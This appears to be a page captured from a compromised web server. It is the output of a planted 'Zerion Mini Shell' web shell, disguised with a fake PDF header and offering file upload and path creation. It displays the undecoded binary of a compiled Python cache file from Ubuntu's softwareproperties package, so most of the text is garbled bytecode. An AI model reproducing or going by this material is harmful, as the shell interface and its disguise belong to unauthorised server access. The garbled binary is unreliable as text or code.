%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/softwareproperties/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/softwareproperties/__pycache__/sourceslist.cpython-312.pyc

�

��f���R�ddlmZddlmZddlmZmZddlmZdZ	Gd�de�Z
y)	�)�gettext)�SourceEntry)�ShortcutHandler�InvalidShortcutException)�urlparse�archive_uric���eZdZ�fd�Z�xZS)�SourcesListShortcutHandlerc�f��tt|�
|fi|��t|�}|jrtt
d�|z��|j}|j|�stt
d�|z��tt|j�t|j�z�|_t|�}|j|_|j |_|j%|j�|_t&�d|j��|_|j+t-|��y)NzInvalid sources.list line: '%s'zInvalid URI: '%s'�-)�superr
�__init__r�invalidr�_�uri�is_valid_uri�list�set�
components�compsr�username�	_username�password�	_password�uri_strip_auth�SOURCESLIST_FILE_PREFIX�	_filebase�_set_source_entry�str)�self�shortcut�kwargs�entryr�parsed�	__class__s      ��@/usr/lib/python3/dist-packages/softwareproperties/sourceslist.pyrz#SourcesListShortcutHandler.__init__s����
�(�$�8��L�V�L��H�%���=�=�*�1�-N�+O�RZ�+Z�[�[��i�i��� � ��%�*�1�-@�+A�C�+G�H�H��s�4�?�?�3�c�%�+�+�6F�F�G����#��������������'�'��	�	�2��	�3�4�A�e�i�i�[�A������s�5�z�*�)�__name__�
__module__�__qualname__r�
__classcell__)r%s@r&r
r
s
���+�+r'r
N)rr�aptsources.sourceslistr�"softwareproperties.shortcuthandlerrr�urllib.parserrr
�r'r&�<module>r0s'��$!�.�Z�!�(��+��+r'

Zerion Mini Shell 1.0